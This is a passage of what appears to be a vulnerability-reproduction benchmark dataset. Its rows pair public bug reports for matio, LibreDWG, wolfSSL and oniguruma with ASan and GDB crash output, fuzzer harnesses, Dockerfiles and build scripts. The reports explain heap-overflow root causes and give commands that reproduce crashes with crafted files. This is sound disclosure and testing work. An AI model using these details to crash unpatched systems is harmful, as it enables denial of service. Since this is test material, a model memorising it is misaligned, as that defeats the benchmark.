f2 f2 f2 00 00 00 f4 f2 f2 f2 f2 00 00 =>0x10003abc6170: 00 00 00 00 00 00[f3]f3 f3 f3 f3 f3 f3 f3 00 00 0x10003abc6180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10003abc6190: 00 00 f1 f1 f1 f1 04 f4 f4 f4 f2 f2 f2 f2 04 f4 0x10003abc61a0: f4 f4 f2 f2 f2 f2 00 f4 f4 f4 f2 f2 f2 f2 00 f4 0x10003abc61b0: f4 f4 f2 f2 f2 f2 00 00 00 f4 f2 f2 f2 f2 00 00 0x10003abc61c0: 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==41935==ABORTING ``` Comments: Comment by tbeu on 2019-11-09 08:27:21+00:00: No need to report fuzzing issues since matio is on [OSS-Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/list?sort=-opened&q=proj%3Amatio&can=1) with still about 40 open issues. Instead of v1.5.17, please rerun the test against current master and reopen if the issue is still reproducible. --- Comment by gutiniao on 2019-11-11 06:55:48+00:00: > No need to report fuzzing issues since matio is on [OSS-Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/list?sort=-opened&q=proj%3Amatio&can=1) with still about 40 open issues. > > Instead of v1.5.17, please rerun the test against current master and reopen if the issue is still reproducible. Yes, I just use 'git clone' to fetch the current master of the matio,the issue is still reproducible. ![image](https://user-images.githubusercontent.com/57210135/68567760-c8dfc300-0494-11ea-829a-7f361925ac9c.png) ![image](https://user-images.githubusercontent.com/57210135/68567735-bd8c9780-0494-11ea-9ddd-1cc56b939ec1.png) i 'm sure the issue is different from the fuzzing issues on OSS-fuzz. --- Comment by tbeu on 2019-11-11 21:16:50+00:00: Should be fixed now. --- Comment by carnil on 2019-12-27 08:42:16+00:00: CVE-2019-20018 has been assigned for this issue.
[ { "content": "// Copyright 2019 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#ifndef FUZZER_TEMP_FILE_H_\n#define FUZZER_TEMP_FILE_H_\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n// Pure-C interface for creating and cleaning up temporary files.\n\nstatic char* fuzzer_get_tmpfile(const uint8_t* data, size_t size) {\n char* filename_buffer = strdup(\"/tmp/generate_temporary_file.XXXXXX\");\n if (!filename_buffer) {\n perror(\"Failed to allocate file name buffer.\");\n abort();\n }\n const int file_descriptor = mkstemp(filename_buffer);\n if (file_descriptor < 0) {\n perror(\"Failed to make temporary file.\");\n abort();\n }\n FILE* file = fdopen(file_descriptor, \"wb\");\n if (!file) {\n perror(\"Failed to open file descriptor.\");\n close(file_descriptor);\n abort();\n }\n const size_t bytes_written = fwrite(data, sizeof(uint8_t), size, file);\n if (bytes_written < size) {\n close(file_descriptor);\n fprintf(stderr, \"Failed to write all bytes to file (%zu out of %zu)\",\n bytes_written, size);\n abort();\n }\n fclose(file);\n return filename_buffer;\n}\n\nstatic void fuzzer_release_tmpfile(char* filename) {\n if (unlink(filename) != 0) {\n perror(\"WARNING: Failed to delete temporary file.\");\n }\n free(filename);\n}\n\n// C++ RAII object for creating temporary files.\n\n#ifdef __cplusplus\nclass FuzzerTemporaryFile {\n public:\n FuzzerTemporaryFile(const uint8_t* data, size_t size)\n : filename_(fuzzer_get_tmpfile(data, size)) {}\n\n ~FuzzerTemporaryFile() { fuzzer_release_tmpfile(filename_); }\n\n const char* filename() const { return filename_; }\n\n private:\n char* filename_;\n};\n#endif\n\n#endif // FUZZER_TEMP_FILE_H_\n", "filename": "fuzzer_temp_file.h" }, { "content": "// Copyright 2019 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#include <cstddef>\n#include <cstdint>\n#include <cstdlib>\n#include <string>\n#include <vector>\n\n#include \"fuzzer_temp_file.h\"\n#include \"matio.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n FuzzerTemporaryFile temp_file(data, size);\n\n mat_t* matfd = Mat_Open(temp_file.filename(), MAT_ACC_RDONLY);\n if (matfd == nullptr) {\n return 0;\n }\n // TODO(https://github.com/google/oss-fuzz/pull/2761): use more complicated APIs\n // such as Mat_VarReadDataAll, Mat_VarReadDataLinear, Mat_VarReadNext, etc. \n Mat_Close(matfd);\n\n return 0;\n}\n", "filename": "matio_fuzzer.cc" } ]
[ { "sha": "65831b7ec829b0ae0ac9d691a2f8fbc2b26af677", "url": "https://github.com/tbeu/matio/commit/65831b7ec829b0ae0ac9d691a2f8fbc2b26af677" }, { "sha": "a47b7cd3aca70e9a0bddf8146eb4ab0cbd19c2c3", "url": "https://github.com/tbeu/matio/commit/a47b7cd3aca70e9a0bddf8146eb4ab0cbd19c2c3" }, { "sha": "12b211cda2ef5abec89304bd1ba3a79a82229feb", "url": "https://github.com/tbeu/matio/commit/12b211cda2ef5abec89304bd1ba3a79a82229feb" }, { "sha": "7b4699854cc65874e13a8e6944cd8e62fa981068", "url": "https://github.com/tbeu/matio/commit/7b4699854cc65874e13a8e6944cd8e62fa981068" } ]
libredwg.cve-2020-23861
libredwg/libredwg
828cb3848356acea9cef9914a4bb4bc8c41814f8
2020-01-12T14:32:36
libredwg
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y autoconf libtool texinfo RUN git clone https://github.com/libredwg/libredwg libredwg RUN git -C libredwg checkout 828cb3848356acea9cef9914a4bb4bc8c41814f8 WORKDIR $SRC/libredwg COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu sh ./autogen.sh ./configure --disable-shared make -j$(nproc)
/src/libredwg
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/LibreDWG/libredwg/issues/248 ## Description: Issue: LibreDWG/libredwg#248 Title: LibreDWG "read_system_page" function heap overflow vulnerability State: closed Created by: yangjiageng Created at: 2020-07-18 12:19:50+00:00 Labels: bug, fuzzing Issue Body: LibreDWG "read_system_page" function heap overflow vulnerability Description: There is a heap overflow bug in "read_system_page" function at libredwg-0.10.1/src/decode_r2007.c:666:5 An attacker can exploit this bug to cause a Denial of Service (DoS) by submitting a dwg file. This bug is caused by the following dangerous memcpy calling in read_system_page function: line 666 if (size_comp < size_uncomp)     error = decompress_r2007 (data, size_uncomp, pedata, MIN (pedata_size, size_comp));   else     memcpy (data, pedata, size_uncomp);   free (pedata); We used AddressSanitizer instrumented in LibreDWG and triggered this bug, the asan output as follows: ==2593==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000031 at pc 0x0000004e7e12 bp 0x7ffd91a390c0 sp 0x7ffd91a38870 READ of size 96 at 0x602000000031 thread T0 #0 0x4e7e11 in __asan_memcpy /root/Download/llvm-8.0.0.src/projects/compiler-rt-8.0.0.src/lib/asan/asan_interceptors_memintrinsics.cc:23 #1 0x7f131338293e in read_system_page /root/libredwg-0.10.1/src/decode_r2007.c:666:5 #2 0x7f131336bc15 in read_pages_map /root/libredwg-0.10.1/src/decode_r2007.c:1014:10 #3 0x7f131336bc15 in read_r2007_meta_data /root/libredwg-0.10.1/src/decode_r2007.c:1814 #4 0x7f1312f9bc84 in decode_R2007 /root/libredwg-0.10.1/src/decode.c:3016:11 #5 0x7f1312f9bc84 in dwg_decode /root/libredwg-0.10.1/src/decode.c:241 #6 0x7f1312f7922f in dwg_read_file /root/libredwg-0.10.1/src/dwg.c:211:11 #7 0x52c287 in main /root/libredwg-0.10.1/programs/dwg2dxf.c:255:15 #8 0x7f1311da1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #9 0x41add9 in _start (/root/libredwg-0.10.1/programs/.libs/dwg2dxf+0x41add9)   0x602000000031 is located 0 bytes to the right of 1-byte region [0x602000000030,0x602000000031) allocated by thread T0 here: #0 0x4e93cf in calloc /root/Download/llvm-8.0.0.src/projects/compiler-rt-8.0.0.src/lib/asan/asan_malloc_linux.cc:155 #1 0x7f131337a0a6 in decode_rs /root/libredwg-0.10.1/src/decode_r2007.c:590:34   SUMMARY: AddressSanitizer: heap-buffer-overflow /root/Download/llvm-8.0.0.src/projects/compiler-rt-8.0.0.src/lib/asan/asan_interceptors_memintrinsics.cc:23 in __asan_memcpy Shadow bytes around the buggy address: 0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c047fff8000: fa fa 00 00 fa fa[01]fa fa fa fa fa fa fa fa fa 0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==2593==ABORTING Then, we used GDB to debug this bug, the GDB outputs: GDB //----------------------------------registers----------------------------------- RAX: 0x7ffff2c6a1e0 --> 0x7ffff6fed930 (<read_system_page+976>: dec DWORD PTR [rcx+rcx*4-0x1]) RBX: 0x7f RCX: 0x0 RDX: 0x60 ('\`')\ RSI: 0x602000000070 --> 0x0 RDI: 0x608000000020 --> 0x0 RBP: 0x0 RSP: 0x7fffffffc410 --> 0xffffffff866 --> 0x0 RIP: 0x7ffff6fed93a (<read_system_page+986>: call 0x7ffff6be3460 <__asan_memcpy@plt>) R8 : 0x1c2e6 R9 : 0x2 R10: 0x28 ('(') R11: 0x602000000060 --> 0x2ffffff00000002 R12: 0x602000000070 --> 0x0 R13: 0x608000000080 --> 0x0 R14: 0x60 ('\`') R15: 0x608000000020 --> 0x0 EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) //-------------------------------------code------------------------------------- 0x7ffff6fed931 <read_system_page+977>: mov rdi,r15 0x7ffff6fed934 <read_system_page+980>: mov rsi,r12 0x7ffff6fed937 <read_system_page+983>: mov rdx,r14 => 0x7ffff6fed93a <read_system_page+986>: call 0x7ffff6be3460 <__asan_memcpy@plt> 0x7ffff6fed93f <read_system_page+991>: mov rdi,r12 0x7ffff6fed942 <read_system_page+994>: call 0x7ffff6be25e0 <free@plt> 0x7ffff6fed947 <read_system_page+999>: jmp 0x7ffff6fed99a <read_system_page+1082> 0x7ffff6fed949 <read_system_page+1001>: lea rdi,[rip+0xd9a81c] # 0x7ffff7d8816c Guessed arguments: arg[0]: 0x608000000020 --> 0x0 arg[1]: 0x602000000070 --> 0x0 arg[2]: 0x60 ('\`') //------------------------------------stack------------------------------------- 0000| 0x7fffffffc410 --> 0xffffffff866 --> 0x0 0008| 0x7fffffffc418 --> 0x7fffffffd098 --> 0x2f65f 0016| 0x7fffffffc420 --> 0x7fffffffd090 --> 0x7ffff7e18800 --> 0x313230314341 ('AC1021') 0024| 0x7fffffffc428 --> 0xffffffffa13 --> 0x0 0032| 0x7fffffffc430 --> 0x7f 0040| 0x7fffffffc438 --> 0x60 ('\`') 0048| 0x7fffffffc440 --> 0xffffffffffffff91 0056| 0x7fffffffc448 --> 0x7fffffffcc80 --> 0xf //------------------------------------------------------------------------------ Legend: code, data, rodata, value 0x00007ffff6fed93a 666 memcpy (data, pedata, size_uncomp); gdb-peda$ ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000071 at pc 0x0000004e7e12 bp 0x7fffffffc400 sp 0x7fffffffbbb0 READ of size 96 at 0x602000000071 thread T0 [New process 3499] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". process 3499 is executing new program: /opt/llvm/bin/llvm-symbolizer Error in re-setting breakpoint 2: No symbol table is loaded. Use the "file" command. Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x52c283 We ensured there is a heap overflow vulnerability because of the dangerous using of memcpy function, attacker can use this bug to finish a DoS attack. You can reproduce this heap overflow vulnerability by the follow step: /dwg2dxf -m -b [PoC_libreDWG_heapoverflow_decode_r2007_line666](https://github.com/yangjiageng/PoC/blob/master/PoC_libreDWG_heapoverflow_decode_r2007_line666) Comments: Comment by rurban on 2020-07-18 16:10:46+00:00: I've fixed hundreds of such bugs in master. There's a 2nd repo called libredwg-fuzz on GitHub with all the test cases. I'm not really interested in 0.10.1 cases as they are all fixed long time ago, and current fuzzing is going on for weeks without any crash. --- Comment by rurban on 2020-07-18 17:50:59+00:00: Please attach the file also, otherwise I cannot verify that its fixed. --- Comment by yangjiageng on 2020-07-19 08:22:13+00:00: This bug also exists on the master version, the poc is here. [PoC](https://github.com/yangjiageng/PoC/blob/master/PoC_libreDWG_heapoverflow_decode_r2007_line666) --- Comment by rurban on 2020-07-19 09:46:51+00:00: Thanks, excellent! Good catch. With which fuzzer was this found? libfuzzer, afl, afl++? --- Comment by yangjiageng on 2020-07-21 00:45:10+00:00: I develop and use a new fuzzer named PathTracer. I will open source this fuzzer after its paper is accepted. --- Comment by rurban on 2020-07-21 13:02:43+00:00: Oh nice. Seems to be good one. My fuzzers didn't find it. Jager Yeung <notifications@github.com> schrieb am Di., 21. Juli 2020, 02:45: > I develop and use a new fuzzer named PathTracer. I will open source this > fuzzer after its paper is accepted. > > — > You are receiving this because you modified the open/close state. > Reply to this email directly, view it on GitHub > <https://github.com/LibreDWG/libredwg/issues/248#issuecomment-661500094>, > or unsubscribe > <https://github.com/notifications/unsubscribe-auth/AAAKGUP7WRUQWGMHLWKAT4LR4TQKJANCNFSM4O725YHQ> > . >
[ { "content": "[libfuzzer]\ndetect_leaks=0\n", "filename": "fuzz_dwg_decode.options" } ]
[]
wolfssl.cve-2019-18840
wolfssl/wolfssl
50fbdb961fd8c2d8123064e567ae8ec44167732d
2019-07-23T13:03:29
wolfssl
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool zip RUN git clone https://github.com/wolfssl/wolfssl wolfssl RUN git -C wolfssl checkout 50fbdb961fd8c2d8123064e567ae8ec44167732d WORKDIR $SRC/wolfssl COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./autogen.sh ./configure --enable-static --disable-shared --prefix=/usr CC="clang" make -j "$(nproc)" all -j$(nproc) make install -j$(nproc) export LDFLAGS="${LDFLAGS-""}" make -e all -j$(nproc) make -e export prefix="$OUT" -j$(nproc)
/src/wolfssl
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/wolfSSL/wolfssl/issues/2555 ## Description: Issue: wolfSSL/wolfssl#2555 Title: Heap based buffer overflow while parsing crafted X.509 certificates State: closed Created by: cve-reporting Created at: 2019-11-04 17:01:40+00:00 Labels: bug, Resolved Issue Body: WolfSSL in versions 4.1.0 and 4.2.0 incorrectly handles X.509 certificates leading to a heap-buffer overflow inside the DecodedCert structure, overwriting a NULL pointer and as a result crash during memory deallocation. This vulnerability affects both client and server in two supported protocols: TLS and DTLS. During processing of a crafted certificate, WolfSSL incorrectly handles the loc buffer in the DecodedName structure. In the following line the count variable reaches value 21, while the loc table has fixed size 19: wolfcrypt/src/asn.c:5121: > > dName->loc[count++] = id; > Declarations: wolfssl/wolfcrypt/asn.h: > > #define DOMAIN_COMPONENT_MAX 10 > #define DN_NAMES_MAX 9 > > > struct DecodedName { > char* fullName; > ... > int loc[DOMAIN_COMPONENT_MAX + DN_NAMES_MAX]; > int locSz; > }; > > struct DecodedCert { > ... > DecodedName issuerName; > DecodedName subjectName; > Overflow of the loc table in the issuerName leads to overwritting of the fullName pointer in the subjectName. During deallocation in the FreeDecodedCert check for cert->subjectName.fullName is ineffective, leading to execution of the free() function on the overwritten pointer. Crashing function: wolfcrypt/src/asn.c:4505: > void FreeDecodedCert(DecodedCert* cert) > { > ... > if (cert->subjectName.fullName != NULL) > XFREE(cert->subjectName.fullName, cert->heap, DYNAMIC_TYPE_X509); > ------------------------------------- Proposed CVSS 3.0 score: 7.5 (High) CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ----------------------------------------------------------- Crash on DTLS client connection (parsing cert from incoming network packets): > ./examples/client/client -u -h 1xx.1xx.1xx.1xx -p 4433 -g > ASAN:SIGSEGV > > ==21175==ERROR: AddressSanitizer: SEGV on unknown address 0xfffffffffffffffa (pc 0x7fe754d335fc bp 0xfffffffffffffffa sp 0x7ffc731221f0 T0) > #0 0x7fe754d335fb (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x215fb) > #1 0x7fe754daa29d in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9829d) > #2 0x7fe75455ea98 in FreeDecodedCert wolfcrypt/src/asn.c:4532 > #3 0x7fe7547a50ec in FreeProcPeerCertArgs src/internal.c:9548 > #4 0x7fe7547a50ec in ProcessPeerCerts src/internal.c:10807 > #5 0x7fe75480d92c in DoCertificate src/internal.c:10843 > #6 0x7fe75480d92c in DoHandShakeMsgType src/internal.c:11681 > #7 0x7fe754825b6c in DoDtlsHandShakeMsg src/internal.c:12305 > #8 0x7fe754825b6c in ProcessReply src/internal.c:14334 > #9 0x7fe754888c07 in wolfSSL_connect src/ssl.c:11172 > #10 0x413527 in client_test examples/client/client.c:2805 > #11 0x40659b in main examples/client/client.c:3387 > #12 0x7fe753e6b82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) > #13 0x406708 in _start (wolfssl-4.2.0c_ASAN/examples/client/.libs/lt-client+0x406708) > > AddressSanitizer can not provide additional info. > SUMMARY: AddressSanitizer: SEGV ??:0 ?? > ==21175==ABORTING > ----------------------------------------------------------- Crash on DTLS server startup (loading cert from local drive): > ./examples/server/server -u -c crash_000_FreeDecodedCert.pem > ASAN:SIGSEGV > ==21128==ERROR: AddressSanitizer: SEGV on unknown address 0xfffffffffffffffa (pc 0x7f715c0555fc bp 0xfffffffffffffffa sp 0x7ffe3bd38ed0 T0) > #0 0x7f715c0555fb (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x215fb) > #1 0x7f715c0cc29d in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9829d) > #2 0x7f715b880a98 in FreeDecodedCert wolfcrypt/src/asn.c:4532 > #3 0x7f715bb90d2d in ProcessBuffer src/ssl.c:5398 > #4 0x7f715bb96ad3 in ProcessFile src/ssl.c:6339 > #5 0x7f715bb9cf4e in wolfSSL_CTX_use_certificate_chain_file src/ssl.c:6912 > #6 0x40dc34 in server_test examples/server/server.c:1610 > #7 0x40585e in main examples/server/server.c:2434 > #8 0x7f715b18d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) > #9 0x405a38 in _start (wolfssl-4.2.0c_ASAN/examples/server/.libs/lt-server+0x405a38) > > AddressSanitizer can not provide additional info. > SUMMARY: AddressSanitizer: SEGV ??:0 ?? > ==21128==ABORTING > ----------------------------------------------------------- Crash on DTLS client startup (loading cert from local drive): > ./examples/client/client -u -b -i -c crash_000_FreeDecodedCert.pem > ASAN:SIGSEGV > ==21338==ERROR: AddressSanitizer: SEGV on unknown address 0xfffffffffffffffa (pc 0x7fc36c0f65fc bp 0xfffffffffffffffa sp 0x7ffd695c4810 T0) > #0 0x7fc36c0f65fb (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x215fb) > #1 0x7fc36c16d29d in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9829d) > #2 0x7fc36b921a98 in FreeDecodedCert wolfcrypt/src/asn.c:4532 > #3 0x7fc36bc31d2d in ProcessBuffer src/ssl.c:5398 > #4 0x7fc36bc37ad3 in ProcessFile src/ssl.c:6339 > #5 0x7fc36bc3df4e in wolfSSL_CTX_use_certificate_chain_file src/ssl.c:6912 > #6 0x413404 in client_test examples/client/client.c:2320 > #7 0x40659b in main examples/client/client.c:3387 > #8 0x7fc36b22e82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) > #9 0x406708 in _start (wolfssl-4.2.0c_ASAN/examples/client/.libs/lt-client+0x406708) > > AddressSanitizer can not provide additional info. > SUMMARY: AddressSanitizer: SEGV ??:0 ?? > ==21338==ABORTING > ----------------------------------------------------------- Crash on TLS client connection (parsing cert from incoming network packets): > ./examples/client/client -h 1xx.1xx.1xx.1xx -p 4433 -g > ASAN:SIGSEGV > ==21482==ERROR: AddressSanitizer: SEGV on unknown address 0xfffffffffffffffa (pc 0x7fd9dd1965fc bp 0xfffffffffffffffa sp 0x7ffd173cbf70 T0) > #0 0x7fd9dd1965fb (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x215fb) > #1 0x7fd9dd20d29d in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9829d) > #2 0x7fd9dc9c1a98 in FreeDecodedCert wolfcrypt/src/asn.c:4532 > #3 0x7fd9dcc080ec in FreeProcPeerCertArgs src/internal.c:9548 > #4 0x7fd9dcc080ec in ProcessPeerCerts src/internal.c:10807 > #5 0x7fd9dcc7092c in DoCertificate src/internal.c:10843 > #6 0x7fd9dcc7092c in DoHandShakeMsgType src/internal.c:11681 > #7 0x7fd9dcc86169 in DoHandShakeMsg src/internal.c:11872 > #8 0x7fd9dcc86169 in ProcessReply src/internal.c:14342 > #9 0x7fd9dcceb734 in wolfSSL_connect src/ssl.c:11119 > #10 0x413527 in client_test examples/client/client.c:2805 > #11 0x40659b in main examples/client/client.c:3387 > #12 0x7fd9dc2ce82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) > #13 0x406708 in _start (wolfssl-4.2.0c_ASAN/examples/client/.libs/lt-client+0x406708) > > AddressSanitizer can not provide additional info. > SUMMARY: AddressSanitizer: SEGV ??:0 ?? > ==21482==ABORTING ----------------------------------------------------------- Crash on TLS client startup (loading cert from local drive): > ./examples/client/client -c crash_000_FreeDecodedCert.pem > ASAN:SIGSEGV > ==14540==ERROR: AddressSanitizer: SEGV on unknown address 0xfffffffffffffffa (pc 0x7fe6467dc5fc bp 0xfffffffffffffffa sp 0x7fff9dd2b980 T0) > #0 0x7fe6467dc5fb (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x215fb) > #1 0x7fe64685329d in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9829d) > #2 0x7fe646007a98 in FreeDecodedCert wolfcrypt/src/asn.c:4532 > #3 0x7fe646317d2d in ProcessBuffer src/ssl.c:5398 > #4 0x7fe64631dad3 in ProcessFile src/ssl.c:6339 > #5 0x7fe646323f4e in wolfSSL_CTX_use_certificate_chain_file src/ssl.c:6912 > #6 0x413404 in client_test examples/client/client.c:2320 > #7 0x40659b in main examples/client/client.c:3387 > #8 0x7fe64591482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) > #9 0x406708 in _start (wolfssl-4.2.0c_ASAN/examples/client/.libs/lt-client+0x406708) > > AddressSanitizer can not provide additional info. > SUMMARY: AddressSanitizer: SEGV ??:0 ?? > ==14540==ABORTING > ----------------------------------------------------------- Crash on TLS server startup (loading cert from local drive): > ./examples/server/server -c crash_000_FreeDecodedCert.pem > ASAN:SIGSEGV > ==14502==ERROR: AddressSanitizer: SEGV on unknown address 0xfffffffffffffffa (pc 0x7fb7139575fc bp 0xfffffffffffffffa sp 0x7ffe8c8d8180 T0) > #0 0x7fb7139575fb (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x215fb) > #1 0x7fb7139ce29d in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9829d) > #2 0x7fb713182a98 in FreeDecodedCert wolfcrypt/src/asn.c:4532 > #3 0x7fb713492d2d in ProcessBuffer src/ssl.c:5398 > #4 0x7fb713498ad3 in ProcessFile src/ssl.c:6339 > #5 0x7fb71349ef4e in wolfSSL_CTX_use_certificate_chain_file src/ssl.c:6912 > #6 0x40dc34 in server_test examples/server/server.c:1610 > #7 0x40585e in main examples/server/server.c:2434 > #8 0x7fb712a8f82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) > #9 0x405a38 in _start (wolfssl-4.2.0c_ASAN/examples/server/.libs/lt-server+0x405a38) > > AddressSanitizer can not provide additional info. > SUMMARY: AddressSanitizer: SEGV ??:0 ?? > ==14502==ABORTING > ----------------------------------------------------------- Reproduction: Download and compile WolfSSL 4.2.0 or 4.1.0. Unzip and use attached crafted certificate with above commands (./example/server/server -c ... or ./example/client/client -c ...). [crash_000_FreeDecodedCert.zip](https://github.com/wolfSSL/wolfssl/files/3805130/crash_000_FreeDecodedCert.zip) ----------------------------------------------------------- Credit: Jakub Botwicz (Samsung R&D Poland) Comments: Comment by kaleb-himes on 2019-11-05 00:23:58+00:00: @cve-reporting, Thank you so much for the report. We will work on reproducing the reported issue and update accordingly. - The wolfSSL team --- Comment by kaleb-himes on 2019-11-05 17:49:14+00:00: @cve-reporting, Just so you are aware you are most welcome to report these via support@wolfssl.com so we have time to address the issue before it is public. It is most responsible to coordinate with an effected vendor before making details public to avoid 0-day exploits. We appreciate all your hard work please keep the reports coming but please send them to support@wolfssl.com first if it is not too much to ask. Thanks and Regards, the wolfSSL team --- Comment by kaleb-himes on 2019-11-05 22:48:06+00:00: @cve-reporting, A fix has been opened here: https://github.com/wolfSSL/wolfssl/pull/2563 Can you shoot us an email at support@wolfssl.com once you have had a chance to review the fix please? Warm Regards, K --- Comment by cve-reporting on 2019-11-07 12:02:00+00:00: @kaleb-himes Thank you for a quick confirmation of this issue and I really appreciate you efforts to quickly fix it. Next time I will first sent you information via an email, as you have proposed. In past we (our team that shares this account for reporting) used to try disclose issues more responsibly, however recently our notifications were sometimes ignored, so we switched to direct reporting in an issue tracker. --- Comment by kaleb-himes on 2019-11-07 16:37:40+00:00: @cve-reporting, > In past we (our team that shares this account for reporting) used to try disclose issues more responsibly, however recently our notifications were sometimes ignored, so we switched to direct reporting in an issue tracker. Totally understandable! I can confidently say that with wolfSSL you will never experience this! Here is a blog post on how our team responds to any vulnerability report: https://www.wolfssl.com/everything-wanted-know-wolfssl-support-handles-vulnerability-reports-afraid-ask/ Thanks again for your teams efforts and hard work and willingness to coordinate with us on all future reports. Sincerest Regards, - Kaleb and the wolfSSL Team --- Comment by cve-reporting on 2019-11-09 21:21:54+00:00: Registered as: CVE-2019-18840 Attachments: https://github.com/wolfSSL/wolfssl/files/3805130/crash_000_FreeDecodedCert.zip
[]
[]
oniguruma.cve-2017-9229
kkos/oniguruma
bfdc384eae73e87b3443d016302b73d9def8071f
2017-05-23T03:07:04
oniguruma
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/kkos/oniguruma oniguruma RUN git -C oniguruma checkout bfdc384eae73e87b3443d016302b73d9def8071f WORKDIR $SRC/oniguruma COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./autogen.sh ./configure make clean -j$(nproc) make -j$(nproc)
/src/oniguruma
address
